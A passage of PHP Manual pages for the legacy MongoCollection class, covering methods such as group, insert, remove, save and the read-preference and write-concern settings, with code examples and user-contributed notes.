    For example, to view all indexes on the people collection from country databse :
    InmongoDb
    use country
    db.people.getIndexes()
    Inphp

*/
$m = new MongoClient();
$indexes = $m->country->people->getIndexInfo();

?>


Returns this collection's name

  • « MongoCollection::getIndexInfo
  • MongoCollection::getReadPreference »
  • PHP Manual
  • MongoCollection
  • Returns this collection's name

MongoCollection::getName

(PECL mongo >=0.9.0)

MongoCollection::getName — Returns this collection's name

Description

public string MongoCollection::getName ( void )

Parameters

This function has no parameters.

Return Values

Returns the name of this collection.

Examples

Example #1 MongoCollection::getName() example

<?php

$m = new MongoClient();
$c = $m->foo->bar->baz;

echo "Working with collection " . $c->getName() . ".\n";

// the full namespace is given by the MongoCollection::__toString() method
echo "Working in namespace $c.\n";

?>

The above example will output something similar to:

Working with collection bar.baz.
Working in namespace foo.bar.baz.

User Contributed Notes

There are no user contributed notes for this page.


Get the read preference for this collection

  • « MongoCollection::getName
  • MongoCollection::getSlaveOkay »
  • PHP Manual
  • MongoCollection
  • Get the read preference for this collection

MongoCollection::getReadPreference

(PECL mongo >=1.3.0)

MongoCollection::getReadPreference — Get the read preference for this collection

Description

public array MongoCollection::getReadPreference ( void )

Parameters

This function has no parameters.

Return Values

This function returns an array describing the read preference. The array contains the values type for the string read preference mode (corresponding to the MongoClient constants), and tagsets containing a list of all tag set criteria. If no tag sets were specified, tagsets will not be present in the array.

Changelog

Version | Description
1.3.3 | The return value has changed to be consistent with MongoCollection::setReadPreference(). The type value was changed from a number to a string, type_string was removed, and tagsets now expresses tags as key/value pairs instead of colon-delimited strings.

Examples

Example #1 MongoCollection::getReadPreference() return value example

<?php

$m = new MongoClient();
$c = $m->test->users;
$c->setReadPreference(MongoClient::RP_SECONDARY, array(
    array('dc' => 'east', 'use' => 'reporting'),
    array('dc' => 'west'),
    array(),
));
var_dump($c->getReadPreference());
?>

The above example will output:

array(2) {
  ["type"]=>
  string(9) "secondary"
  ["tagsets"]=>
  array(3) {
    [0]=>
    array(2) {
      ["dc"]=>
      string(4) "east"
      ["use"]=>
      string(9) "reporting"
    }
    [1]=>
    array(1) {
      ["dc"]=>
      string(7) "west"
    }
    [2]=>
    array(0) {
    }
  }
}

See Also

  • The read preferences documentation.
  • MongoCollection::setReadPreference() - Set the read preference for this collection

User Contributed Notes

There are no user contributed notes for this page.


Get slaveOkay setting for this collection

  • « MongoCollection::getReadPreference
  • MongoCollection::getWriteConcern »
  • PHP Manual
  • MongoCollection
  • Get slaveOkay setting for this collection

MongoCollection::getSlaveOkay

(PECL mongo >=1.1.0)

MongoCollection::getSlaveOkay — Get slaveOkay setting for this collection

Description

public bool MongoCollection::getSlaveOkay ( void )

See the query section of this manual for information on distributing reads to secondaries.

Parameters

This function has no parameters.

Return Values

Returns the value of slaveOkay for this instance.

Changelog

Version | Description
1.2.11 | Emits E_DEPRECATED when used.

See Also

  • Read Preferences
  • MongoCollection::getReadPreference() - Get the read preference for this collection

User Contributed Notes

There are no user contributed notes for this page.


Get the write concern for this collection

  • « MongoCollection::getSlaveOkay
  • MongoCollection::group »
  • PHP Manual
  • MongoCollection
  • Get the write concern for this collection

MongoCollection::getWriteConcern

(PECL mongo >=1.5.0)

MongoCollection::getWriteConcern — Get the write concern for this collection

Description

public array MongoCollection::getWriteConcern ( void )

Parameters

This function has no parameters.

Return Values

This function returns an array describing the write concern. The array contains the values w for an integer acknowledgement level or string mode, and wtimeout denoting the maximum number of milliseconds to wait for the server to satisfy the write concern.

Examples

Example #1 MongoCollection::getWriteConcern() return value example

<?php

$mc = new MongoClient('mongodb://localhost:27017', array('wTimeoutMS' => 500));
$coll = $mc->selectCollection('test', 'foo');
var_dump($coll->getWriteConcern());

$coll->setWriteConcern(1, 1000);
var_dump($coll->getWriteConcern());
?>

The above example will output:

array(2) {
  ["w"]=>
  int(1)
  ["wtimeout"]=>
  int(500)
}
array(2) {
  ["w"]=>
  int(1)
  ["wtimeout"]=>
  int(1000)
}

See Also

  • The write concern documentation.
  • MongoCollection::setWriteConcern() - Set the write concern for this database

User Contributed Notes

There are no user contributed notes for this page.


Performs an operation similar to SQL's GROUP BY command

  • « MongoCollection::getWriteConcern
  • MongoCollection::insert »
  • PHP Manual
  • MongoCollection
  • Performs an operation similar to SQL's GROUP BY command

MongoCollection::group

(PECL mongo >=0.9.2)

MongoCollection::group — Performs an operation similar to SQL's GROUP BY command

Description

public array MongoCollection::group ( mixed $keys , array $initial , MongoCode $reduce [, array $options = array() ] )

Parameters

keys

Fields to group by. If an array or non-code object is passed, it will be the key used to group results.

1.0.4+: If keys is an instance of MongoCode, keys will be treated as a function that returns the key to group by (see the "Passing a keys function" example below).

initial

Initial value of the aggregation counter object.

reduce

A function that takes two arguments (the current document and the aggregation to this point) and does the aggregation.

options

Optional parameters to the group command. Valid options include:

  • "condition"

    Criteria for including a document in the aggregation.

  • "finalize"

    Function called once per unique key that takes the final output of the reduce function.

  • "maxTimeMS"

    Specifies a cumulative time limit in milliseconds for processing the operation (does not include idle time). If the operation is not completed within the timeout period, a MongoExecutionTimeoutException will be thrown.

Return Values

Returns an array containing the result.

Changelog

Version | Description
1.5.0 | Added "maxTimeMS" option.
1.2.11 | Emits E_DEPRECATED when options is scalar.

Examples

Example #1 MongoCollection::group() example

This groups documents by category and creates a list of names within that category.

<?php

$collection->insert(array("category" => "fruit", "name" => "apple"));
$collection->insert(array("category" => "fruit", "name" => "peach"));
$collection->insert(array("category" => "fruit", "name" => "banana"));
$collection->insert(array("category" => "veggie", "name" => "corn"));
$collection->insert(array("category" => "veggie", "name" => "broccoli"));

$keys = array("category" => 1);

$initial = array("items" => array());

$reduce = "function (obj, prev) { prev.items.push(obj.name); }";

$g = $collection->group($keys, $initial, $reduce);

echo json_encode($g['retval']);

?>

The above example will output something similar to:

[{"category":"fruit","items":["apple","peach","banana"]},{"category":"veggie","items":["corn","broccoli"]}]

Example #2 MongoCollection::group() example

This example doesn't use any key, so every document will be its own group. It also uses a condition: only documents that match this condition will be processed by the grouping function.

<?php

$collection->save(array("a" => 2));
$collection->save(array("b" => 5));
$collection->save(array("a" => 1));

// use all fields
$keys = array();

// set intial values
$initial = array("count" => 0);

// JavaScript function to perform
$reduce = "function (obj, prev) { prev.count++; }";

// only use documents where the "a" field is greater than 1
$condition = array('condition' => array("a" => array( '$gt' => 1)));

$g = $collection->group($keys, $initial, $reduce, $condition);

var_dump($g);

?>

The above example will output something similar to:

array(4) {
  ["retval"]=>
  array(1) {
    [0]=>
    array(1) {
      ["count"]=>
      float(1)
    }
  }
  ["count"]=>
  float(1)
  ["keys"]=>
  int(1)
  ["ok"]=>
  float(1)
}

Example #3 Passing a keys function

If you want to group by something other than a field name, you can pass a function as the first parameter of MongoCollection::group() and it will be run against each document. The return value of the function will be used as its grouping value.

This example demonstrates grouping by the num field modulo 4.

<?php

$c->group(new MongoCode('function(doc) { return {mod : doc.num % 4}; }'),
     array("count" => 0),
     new MongoCode('function(current, total) { total.count++; }'));

?>

User Contributed Notes

ronan dot guilloux at gmail dot com 20-Nov-2012 12:38
Since the $options argument is no longer a scalar (deprecated since the 1.2.11 version of the Mongo's PHP driver), you now must compose your $options as an associative array, otherwise you'll rise a "Implicitly passing condition as $options will be removed in the future" alert.

Example:

<?php

$m = new Mongo();
$db = $m->selectDB('test');
$collection = new MongoCollection($db, 'FooBar');

// grouping results by categories, where foo is 'bar'
$keys = array('categorie'=>true, 'foo'=>true); // the fields list we want to return
$initial = array('count' => 0); // gets a subtotal for each categorie
$reduce = "function(obj,prev) { prev.count += 1; }"; // yes, this is js code
$conditions = array('foo'=> 'bar');
$grouped = $myColl::group($keys, $initial, $reduce, array('condition'=>$conditions));
$result = $grouped['retval'];

?>
nick at pitchinteractive dot com 05-Jan-2012 09:51
Here's my code to do an equivalent of a GROUP BY and a SUM

<?php
$contributionCol = $db->customers->contribution;
$group = $contributionCol->group(array('date' => true), array('sum' => 0), "function (obj, prev) { prev['sum'] += obj.amount; }");
?>

This groups by the 'date' column and sums over the 'amount' column. In my testing this was much slower than querying all rows and doing the Group by code with PHP. It could just be my particular setup and data set.

Also at first my amount column was a string, which caused the results to be concatenated rather than arithmetic addition, something else to watch out for.

[red.: Instead of this, please use the new aggregation framework. See the documentation for MongoCollection::aggregate]
Evgeniy Abduzhapparov 12-Nov-2010 02:05
Here I am posting how I get tags from my documents. Documents should have 'tags' field which is array of strings:
{'tags':['php', 'mongo']}
<?php
$keys = array();
$initial = array('tags'=>array(), 'count'=>0);
$reduce = 'function (doc, total) { if (doc.tags.length) {doc.tags.forEach(function (e) {total.tags[e]=total.tags[e]||0; total.tags[e]++; total.count++;});} }';
$criteria = array(
    'condition' => array(
        'tags' => array('$exists'=>true)
    ),
);
?>


Inserts a document into the collection

  • « MongoCollection::group
  • MongoCollection::parallelCollectionScan »
  • PHP Manual
  • MongoCollection
  • Inserts a document into the collection

MongoCollection::insert

(PECL mongo >=0.9.0)

MongoCollection::insert — Inserts a document into the collection

Description

public bool|array MongoCollection::insert ( array|object $a [, array $options = array() ] )

All strings sent to the database must be UTF-8. If a string is not UTF-8, a MongoException will be thrown. To insert (or query for) a non-UTF-8 string, use MongoBinData.

Parameters

a

An array or object. If an object is used, it may not have protected or private properties.

Note:

If the parameter does not have an _id key or property, a new MongoId instance will be created and assigned to it. This special behavior does not mean that the parameter is passed by reference.

options

An array of options for the insert operation. Currently available options include:

  • "fsync"

    Boolean, defaults to FALSE. If journaling is enabled, it works exactly like "j". If journaling is not enabled, the write operation blocks until it is synced to database files on disk. If TRUE, an acknowledged insert is implied and this option will override setting "w" to 0.

    Note: If journaling is enabled, users are strongly encouraged to use the "j" option instead of "fsync". Do not use "fsync" and "j" simultaneously, as that will result in an error.

  • "j"

    Boolean, defaults to FALSE. Forces the write operation to block until it is synced to the journal on disk. If TRUE, an acknowledged write is implied and this option will override setting "w" to 0.

    Note: If this option is used and journaling is disabled, MongoDB 2.6+ will raise an error and the write will fail; older server versions will simply ignore the option.

  • "socketTimeoutMS"

    This option specifies the time limit, in milliseconds, for socket communication. If the server does not respond within the timeout period, a MongoCursorTimeoutException will be thrown and there will be no way to determine if the server actually handled the write or not. A value of -1 may be specified to block indefinitely. The default value for MongoClient is 30000 (30 seconds).

  • "w"

    See Write Concerns. The default value for MongoClient is 1.

  • "wTimeoutMS"

    This option specifies the time limit, in milliseconds, for write concern acknowledgement. It is only applicable when "w" is greater than 1, as the timeout pertains to replication. If the write concern is not satisfied within the time limit, a MongoCursorException will be thrown. A value of 0 may be specified to block indefinitely. The default value for MongoClient is 10000 (ten seconds).

The following options are deprecated and should no longer be used:

  • "safe"

    Deprecated. Please use the write concern "w" option.

  • "timeout"

    Deprecated alias for "socketTimeoutMS".

  • "wtimeout"

    Deprecated alias for "wTimeoutMS".

Return Values

Returns an array containing the status of the insertion if the "w" option is set. Otherwise, returns TRUE if the inserted array is not empty (a MongoException will be thrown if the inserted array is empty).

If an array is returned, the following keys may be present:

ok

This should almost always be 1 (unless last_error itself failed).

err

If this field is non-null, an error occurred on the previous operation. If this field is set, it will be a string describing the error that occurred.

code

If a database error occurred, the relevant error code will be passed back to the client.

errmsg

This field is set if something goes wrong with a database command. It is coupled with ok being 0. For example, if w is set and times out, errmsg will be set to "timed out waiting for slaves" and ok will be 0. If this field is set, it will be a string describing the error that occurred.

n

If the last operation was an update, upsert, or a remove, the number of documents affected will be returned. For insert operations, this value is always 0.

wtimeout

If the previous option timed out waiting for replication.

waited

How long the operation waited before timing out.

wtime

If w was set and the operation succeeded, how long it took to replicate to w servers.

upserted

If an upsert occurred, this field will contain the new record's _id field. For upserts, either this field or updatedExisting will be present (unless an error occurred).

updatedExisting

If an upsert updated an existing element, this field will be true. For upserts, either this field or upserted will be present (unless an error occurred).

Errors/Exceptions

Throws MongoException if the inserted document is empty or if it contains zero-length keys. Attempting to insert an object with protected and private properties will cause a zero-length key error.

Throws MongoCursorException if the "w" option is set and the write fails.

Throws MongoCursorTimeoutException if the "w" option is set to a value greater than one and the operation takes longer than MongoCursor::$timeout milliseconds to complete. This does not kill the operation on the server, it is a client-side timeout. The operation in MongoCollection::$wtimeout is milliseconds.

Changelog

Version | Description
1.5.0 | Added the "wTimeoutMS" option, which replaces "wtimeout". Emits E_DEPRECATED when "wtimeout" is used. Added the "socketTimeoutMS" option, which replaces "timeout". Emits E_DEPRECATED when "timeout" is used. Emits E_DEPRECATED when "safe" is used.
1.3.4 | Added "wtimeout" option.
1.3.0 | Added "w" option. The options parameter no longer accepts a boolean to signify an acknowledged write. Instead, this now has to be done with array('w' => 1) (the default behaviour of MongoClient).
1.2.0 | Added "timeout" option.
1.0.11 | Disconnects on "not master" errors if "safe" is set.
1.0.9 | Added ability to pass integers to the "safe" option, which previously only accepted booleans. Added "fsync" option. The return type was changed to be an array containing error information if the "safe" option is used. Otherwise, a boolean is returned as before.
1.0.5 | Changed second parameter to be an array of options. Pre-1.0.5, the second parameter was a boolean indicating the "safe" option.
1.0.1 | Throw a MongoCursorException if the "safe" option is set and the insert fails.

Examples

Example #1 MongoCollection::insert() _id example

An _id field will be added to the inserted document if not already present. Depending on how the parameter is passed, a generated _id may or may not be available to calling code.

<?php

$m = new MongoClient();
$collection = $m->selectCollection('test', 'phpmanual');

// If an array literal is used, there is no way to access the generated _id
$collection->insert(array('x' => 1));

// The _id is available on an array passed by value
$a = array('x' => 2);
$collection->insert($a);
var_dump($a);

// The _id is not available on an array passed by reference
$b = array('x' => 3);
$ref = &$b;
$collection->insert($ref);
var_dump($ref);

// The _id is available if a wrapping function does not trigger copy-on-write
function insert_no_cow($collection, $document)
{
    $collection->insert($document);
}

$c = array('x' => 4);
insert_no_cow($collection, $c);
var_dump($c);

// The _id is not available if a wrapping function triggers copy-on-write
function insert_cow($collection, $document)
{
    $document['y'] = 1;
    $collection->insert($document);
}

$d = array('x' => 5);
insert_cow($collection, $d);
var_dump($d);

?>

The above example will output something similar to:

array(2) {
  ["x"]=>
  int(2)
  ["_id"]=>
  object(MongoId)#4 (0) {
  }
}
array(1) {
  ["x"]=>
  int(3)
}
array(2) {
  ["x"]=>
  int(4)
  ["_id"]=>
  object(MongoId)#5 (0) {
  }
}
array(1) {
  ["x"]=>
  int(5)
}

Example #2 MongoCollection::insert() acknowledged write example

This example shows inserting two elements with the same _id, which causes a MongoCursorException to be thrown, as w was set.

<?php

$person = array("name" => "Joe", "age" => 20);
$collection->insert($person);

// now $person has an _id field, so if we save it
// again, we will get an exception
try {
    $collection->insert($person, array("w" => 1));
} catch(MongoCursorException $e) {
    echo "Can't save the same person twice!\n";
}

?>

See Also

  • MongoCollection::batchInsert() - Inserts multiple documents into this collection
  • MongoCollection::update() - Update records based on a given criteria
  • MongoCollection::find() - Queries this collection, returning a MongoCursor for the result set
  • MongoCollection::remove() - Remove records from this collection
  • MongoDB core docs on » insert.

User Contributed Notes

mike at eastghost dot com 25-May-2014 12:53
Attempting to insert() an array containing a NULL value followed by a blank space, in a non-utf8 encoding, results in the entire array (and all of its data) being ignored and the $opts array parameter being substituted instead as the data.
root at php dot net 04-Apr-2013 08:06
_id and MongoId can be a source of problems that can make what would seem a trivial operation potentially complicated.

MongoId is not as predictable or safe as mysql's auto increment (an example that most PHP developers will be familiar with). _id is generated by the client rather than the server and so does not guarantee that it will be collision free.

By comparison, server side auto_increment mechanisms that PHP programmers might typically be used to wont collide until every single id had been used and with 64bits you can ensure this will almost never happen. You will also know when your table is getting full, and you can predict the rate. Most importantly, no matter the mechanism, being server side guarantees two clients wont collide. Mongo's behaviour is different to this.

Generally speaking inserting without specifying _id will tend to work, but there are some cases where is can fail or is particularly prone to failure.

The total size I believe is 96 bits. This might seem like a lot but the value is not created randomly. It is generated like this:

$unixtime . $machine_id . $pid . $counter

The counter starts from zero and is attached to each instance of MongoClient thus two MongoClient connections to the same server will almost certainly not work (produce a collision):

$m=new MongoWrapper();
$m->insert([0]);
$m=new MongoWrapper();
$m->insert([1]);

If MongoWrapper is not using a singleton for the connection or something to the same effect, the second call will most likely have the same unixtime. It will certainly have the same machine_id, pid and counter. The insert will fail.

If you are not using a singleton, this will work:

$m=new MongoWrapper();
$m->insert([0]);
$m->insert([1]);

You may also have difficulties in a multiple machine environment.

machine_id is a hash of gethostname. This is not guaranteed to be unique across machines. Some people do not set hostnames at all. If you do not ensure that your machines all have unique hostnames then if in the same second, two machines run a script that inserts, the second will have a 1 in 2^15 chance of colliding (assuming the most common PID max). Depending on how the system handles pids, the probability may actually be a little less. In short, make sure any host accessing your mongodb has a hostname that is unique among any other host accessing your mongodb.

I've seen some specs specify that counter should start from a random value but I highly recommend against this as it merely hides/obscures the problem.
gmail.com@mspreij 23-Jan-2013 01:53
"Note: If the parameter does not have an _id key or property, a new MongoId instance will be created and assigned to it."

Note on note: this is true even if the insert *fails* (because of, say, duplicate key error). So even if no new document was inserted, the supplied array will still have a new MongoID key ->_id after the ->insert().

(which can make an attempted update after that fail, because you cannot update the _id value of a document..)
cuisdy at gmail dot com 01-Dec-2012 02:21
Another rarity to keep in mind. Passing references has the same effect as passing a referenced object. Even if there's no different for PHP between those two, it's probably not evident. So, this code would not have the _id field added to $a:

<?php

$b = &$a;

/* ... more code here ... */

$m = new MongoClient;
$collection = $m->test->phpmanual;

$a = array('x' => 12);

$collection->insert($a);
var_dump($a);
// array(1) { ["x"]=> int(12) }

?>

I've made the assignment above to show how this situation could happen, if you reassigned a var, for example. But it could be some normal referencing after giving $a its final value (but before calling insert), and the consequence would be the same: if a var is referenced, it won't get the _id appended.
John S. 29-Aug-2012 11:10
Note, that the _id field will only be added to an inserted array if it does not already exist in the supplied array:

<?php
$data = array('x' => 12);
var_dump($data);
$collection->insert($data);
var_dump($data);
?>

Will output something like:

array(1) {
  ["x"]=>
  int(12)
}
array(2) {
  ["x"]=>
  int(12)
  ["_id"]=>
  object(MongoId)#196 (1) {
    ["$id"]=>
    string(24) "503e21fc0605290912000000"
  }
}

however,

$data = array('x' => 12, '_id' => NULL);
var_dump($data);
$collection->insert($data);
var_dump($data);

will not have the same result:

array(2) {
  ["x"]=>
  int(12)
  ["_id"]=>
  NULL
}
array(2) {
  ["x"]=>
  int(12)
  ["_id"]=>
  NULL
}
Christer Edvartsen 01-Apr-2011 05:54
Also worth noting is that the MongoCollection::insert() method accepts objects as the first argument as well as arrays.

<?php
$data = new stdClass;
$data->foo = 'foo';
$data->bar = 'bar';
$collection->insert($data);
var_dump($data->_id); // An instance of MongoId
?>

You can use other classes as well, but MongoCollection::insert() will fail if the object contains any protected or private properties. Public properties listed in the class will also be inserted:

<?php
class SomeClass {
    public $foo = 'bar';
    public $bar = 'foo';
}

$data = new SomeClass;
$data->foobar = 42;
$collection->insert($data);
var_dump($data->_id); // An instance of MongoId
?>

will result in a document with four elements:

_id => some mongoid
foo => 'bar'
bar => 'foo'
foobar => 42


Returns an array of cursors to iterator over a full collection in parallel

  • « MongoCollection::insert
  • MongoCollection::remove »
  • PHP Manual
  • MongoCollection
  • Returns an array of cursors to iterator over a full collection in parallel

MongoCollection::parallelCollectionScan

(PECL mongo >=1.5.0)

MongoCollection::parallelCollectionScan — Returns an array of cursors to iterator over a full collection in parallel

Description

public array[MongoCommandCursor] MongoCollection::parallelCollectionScan ( int $num_cursors )

This method returns an array of a maximum of num_cursors cursors. An iteration over one of the returned cursors results in a partial set of documents for a collection. Iteration over all the returned cursors results in getting every document back from the collection.

This method is a wrapper for the parallelCollectionScan MongoDB command.

Parameters

num_cursors

The number of cursors to request from the server. Please note, that the server can return less cursors than you requested.

Return Values

Returns an array of MongoCommandCursor objects.

Examples

Example #1 MongoCollection::parallelCollectionScan() example

Returning all documents in a collection by using multiple cursors.

<?php
$m = new MongoClient;
$c = $m->demo->cities;

/* Request three cursors */
$cursors = $c->parallelCollectionScan( 3 );

/* Add all the cursors to the MultipleIterator */
$mi = new MultipleIterator( MultipleIterator::MIT_NEED_ANY );
foreach ( $cursors as $cursor )
{
    $mi->attachIterator( $cursor );
}

/* Iterate over all the associated cursors */
foreach ( $mi as $items )
{
    foreach ( $items as $item )
    {
        if ( $item !== NULL )
        {
            echo $item['name'], "\n";
        }
    }
}
?>

See Also

  • MultipleIterator
  • MongoCommandCursor
  • MongoDb::command() - Execute a database command

User Contributed Notes

There are no user contributed notes for this page.


Remove records from this collection

  • « MongoCollection::parallelCollectionScan
  • MongoCollection::save »
  • PHP Manual
  • MongoCollection
  • Remove records from this collection

MongoCollection::remove

(PECL mongo >=0.9.0)

MongoCollection::remove — Remove records from this collection

Description

 public bool|array MongoCollection::remove
  ([ array $criteria = array()
 [, array $options = array()
]] )

Parameters

criteria

Query criteria for the documents to delete.

options

An array of options for the remove operation. Currently available options include:

  • "w"

    See Write Concerns. The default value for MongoClient is 1.

  • "justOne"

    Specify TRUE to limit deletion to just one document. If FALSE or omitted, all documents matching the criteria will be deleted.

  • "fsync"

    Boolean, defaults to FALSE. If journaling is enabled, it works exactly like "j". If journaling is not enabled, the write operation blocks until it is synced to database files on disk. If TRUE, an acknowledged insert is implied and this option will override setting "w" to 0.

    Note: If journaling is enabled, users are strongly encouraged to use the "j" option instead of "fsync". Do not use "fsync" and "j" simultaneously, as that will result in an error.

  • "j"

    Boolean, defaults to FALSE. Forces the write operation to block until it is synced to the journal on disk. If TRUE, an acknowledged write is implied and this option will override setting "w" to 0.

    Note: If this option is used and journaling is disabled, MongoDB 2.6+ will raise an error and the write will fail; older server versions will simply ignore the option.

  • "socketTimeoutMS"

    This option specifies the time limit, in milliseconds, for socket communication. If the server does not respond within the timeout period, a MongoCursorTimeoutException will be thrown and there will be no way to determine if the server actually handled the write or not. A value of -1 may be specified to block indefinitely. The default value for MongoClient is 30000 (30 seconds).

  • "w"

    See Write Concerns. The default value for MongoClient is 1.

  • "wTimeoutMS"

    This option specifies the time limit, in milliseconds, for write concern acknowledgement. It is only applicable when "w" is greater than 1, as the timeout pertains to replication. If the write concern is not satisfied within the time limit, a MongoCursorException will be thrown. A value of 0 may be specified to block indefinitely. The default value for MongoClient is 10000 (ten seconds).

The following options are deprecated and should no longer be used:

  • "safe"

    Deprecated. Please use the write concern "w" option.

  • "timeout"

    Deprecated alias for "socketTimeoutMS".

  • "wtimeout"

    Deprecated alias for "wTimeoutMS".

Return Values

Returns an array containing the status of the removal if the "w" option is set. Otherwise, returns TRUE.

Fields in the status array are described in the documentation for MongoCollection::insert().

Errors/Exceptions

Throws MongoCursorException if the "w" option is set and the write fails.

Throws MongoCursorTimeoutException if the "w" option is set to a value greater than one and the operation takes longer than MongoCursor::$timeout milliseconds to complete. This does not kill the operation on the server, it is a client-side timeout. The operation in MongoCollection::$wtimeout is milliseconds.

Changelog

Version | Description
1.5.0 | Added "wTimeoutMS" option, which replaces "wtimeout". Emits E_DEPRECATED when "wtimeout" is used. Added "socketTimeoutMS" option, which replaces "timeout". Emits E_DEPRECATED when "timeout" is used. Emits E_DEPRECATED when "safe" is used.
1.3.4 | Added "wtimeout" option.
1.3.0 | Added "w" option. The options parameter no longer accepts a boolean to signify "justOne". Instead, this now has to be done with array('justOne' => true).
1.2.11 | Emits E_DEPRECATED when options is scalar.
1.2.0 | Added "timeout" option.
1.0.11 | Disconnects on "not master" errors if "safe" is set.
1.0.9 | Added ability to pass integers to the "safe" option, which previously only accepted booleans. Added "fsync" option. The return type was changed to be an array containing error information if the "safe" option is used. Otherwise, a boolean is returned as before.
1.0.5 | Changed second parameter to be an array of options. Pre-1.0.5, the second parameter was a boolean indicating the "safe" option.

Examples

Example #1 MongoCollection::remove() with justOne example

<?php

$radioactive = $db->radioactive;

// count how much more plutonium there is
$remaining = $radioactive->count(array('type' => 94));

$halflife = $remaining/2;

// remove half of it
while ($halflife > 0) {
    $radioactive->remove(array('type' => 94), array("justOne" => true));
    $halflife--;
}

?>

See Also

  • MongoCollection::insert() - Inserts a document into the collection
  • MongoCollection::update() - Update records based on a given criteria
  • MongoDB core docs on » remove.

User Contributed Notes

konstantin718 at gmail dot com 21-Jan-2013 12:17
If you try to remove a document that doesn't exist, remove() won't throw an exception.

Even if 'w' is set to 1, remove() will return an array similar to this:

Array ( [n] => 0 [connectionId] => 10726 [err] => [ok] => 1 )

So, in order to see if a remove() was really successful, you need to look at [n] key.  If it's 0, that means the remove() did not remove any documents.

If remove() is successful, [n] will be > 0.
David Winter 02-Jan-2010 02:55
To remove a document based on its ID, you need to ensure that you pass the ID as a MongoID object rather than just a string:

<?php
$id = '4b3f272c8ead0eb19d000000';

// will not work:
$collection->remove(array('_id' => $id), true);

// will work:
$collection->remove(array('_id' => new MongoId($id)), true);
?>


Saves a document to this collection

  • « MongoCollection::remove
  • MongoCollection::setReadPreference »
  • PHP Manual
  • MongoCollection
  • Saves a document to this collection

MongoCollection::save

(PECL mongo >=0.9.0)

MongoCollection::save — Saves a document to this collection

Description

public mixed MongoCollection::save ( array|object $a [, array $options = array() ] )

If the object is from the database, update the existing database object, otherwise insert this object.

Parameters

a

Array or object to save. If an object is used, it may not have protected or private properties.

Note:

If the parameter does not have an _id key or property, a new MongoId instance will be created and assigned to it. See MongoCollection::insert() for additional information on this behavior.

options

Options for the save.

  • "fsync"

    Boolean, defaults to FALSE. If journaling is enabled, it works exactly like "j". If journaling is not enabled, the write operation blocks until it is synced to database files on disk. If TRUE, an acknowledged insert is implied and this option will override setting "w" to 0.

    Note: If journaling is enabled, users are strongly encouraged to use the "j" option instead of "fsync". Do not use "fsync" and "j" simultaneously, as that will result in an error.

  • "j"

    Boolean, defaults to FALSE. Forces the write operation to block until it is synced to the journal on disk. If TRUE, an acknowledged write is implied and this option will override setting "w" to 0.

    Note: If this option is used and journaling is disabled, MongoDB 2.6+ will raise an error and the write will fail; older server versions will simply ignore the option.

  • "socketTimeoutMS"

    This option specifies the time limit, in milliseconds, for socket communication. If the server does not respond within the timeout period, a MongoCursorTimeoutException will be thrown and there will be no way to determine if the server actually handled the write or not. A value of -1 may be specified to block indefinitely. The default value for MongoClient is 30000 (30 seconds).

  • "w"

    See Write Concerns. The default value for MongoClient is 1.

  • "wtimeout"

    Deprecated alias for "wTimeoutMS".

  • "wTimeoutMS"

    This option specifies the time limit, in milliseconds, for write concern acknowledgement. It is only applicable when "w" is greater than 1, as the timeout pertains to replication. If the write concern is not satisfied within the time limit, a MongoCursorException will be thrown. A value of 0 may be specified to block indefinitely. The default value for MongoClient is 10000 (ten seconds).

  • "safe"

    Deprecated. Please use the write concern "w" option.

  • "timeout"

    Deprecated alias for "socketTimeoutMS".

Return Values

If w was set, returns an array containing the status of the save. Otherwise, returns a boolean representing if the array was not empty (an empty array will not be inserted).

Errors/Exceptions

Throws MongoException if the inserted document is empty or if it contains zero-length keys. Attempting to insert an object with protected and private properties will cause a zero-length key error.

Throws MongoCursorException if the "w" option is set and the write fails.

Throws MongoCursorTimeoutException if the "w" option is set to a value greater than one and the operation takes longer than MongoCursor::$timeout milliseconds to complete. This does not kill the operation on the server, it is a client-side timeout. The operation in MongoCollection::$wtimeout is milliseconds.

Changelog

Version | Description
1.5.0 | Added "wTimeoutMS" option, which replaces "wtimeout". Emits E_DEPRECATED when "wtimeout" is used. Added "socketTimeoutMS" option, which replaces "timeout". Emits E_DEPRECATED when "timeout" is used. Emits E_DEPRECATED when "safe" is used.
1.2.0 | Added "timeout" option.
1.0.11 | Disconnects on "not master" errors if "safe" is set.
1.0.9 | Added ability to pass integers to the "safe" option, which previously only accepted booleans. Added "fsync" option.
1.0.5 | Added options parameter.

Examples

Example #1 MongoCollection::save() example

<?php

$obj = array('x' => 1);

// insert $obj into the db
$collection->save($obj);
var_dump($obj);

// add another field
$obj['foo'] = 'bar';

// $obj cannot be inserted again, causes duplicate _id error
$collection->insert($obj);

// save updates $obj with the new field
$collection->save($obj);

?>

The above example will output something similar to:

array(2) {
  ["x"]=>
  int(1)
  ["_id"]=>
  object(MongoId)#4 (1) {
    ["$id"]=>
    string(24) "50b6afe544415ed606000000"
  }
}

User Contributed Notes

cuisdy at gmail dot com 01-Dec-2012 02:36
Same as with method insert(), it is worth noting that creating a reference to $obj will have the same effect as $obj being a reference itself, i.e. no _id field will be added.

<?php

$a = &$obj;

$m = new MongoClient;
$collection = $m->test->phpmanual;

$obj = array('x' => 1);

// Suppose you create a reference for some reason
$a = &$obj;

$collection->save($obj);

var_dump($obj);
// prints: array(1) { ["x"]=> int(1) }
?>


Set the read preference for this collection

  • « MongoCollection::save
  • MongoCollection::setSlaveOkay »
  • PHP Manual
  • MongoCollection
  • Set the read preference for this collection

MongoCollection::setReadPreference

(PECL mongo >=1.3.0)

MongoCollection::setReadPreference — Set the read preference for this collection

Description

public bool MongoCollection::setReadPreference ( string $read_preference [, array $tags ] )

Parameters

read_preference

The read preference mode: MongoClient::RP_PRIMARY, MongoClient::RP_PRIMARY_PREFERRED, MongoClient::RP_SECONDARY, MongoClient::RP_SECONDARY_PREFERRED, or MongoClient::RP_NEAREST.

tags

An array of zero or more tag sets, where each tag set is itself an array of criteria used to match tags on replica set members.

Return Values

Returns TRUE on success, or FALSE otherwise.

Errors/Exceptions

Emits E_WARNING if either parameter is invalid, or if one or more tag sets are provided with the MongoClient::RP_PRIMARY read preference mode.

Examples

Example #1 MongoCollection::setReadPreference() tag set array syntax example

<?php

$m = new MongoClient();
$c = $m->test->users;

// Prefer the nearest server in the "east" data center also used for reporting,
// but fall back to a server in the "west" data center
$c->setReadPreference(MongoClient::RP_NEAREST, array(
    array('dc' => 'east', 'use' => 'reporting'),
    array('dc' => 'west'),
));
?>

See Also

  • The read preferences documentation.
  • MongoCollection::getReadPreference() - Get the read preference for this collection

User Contributed Notes

There are no user contributed notes for this page.


Change slaveOkay setting for this collection

  • « MongoCollection::setReadPreference
  • MongoCollection::setWriteConcern »
  • PHP Manual
  • MongoCollection
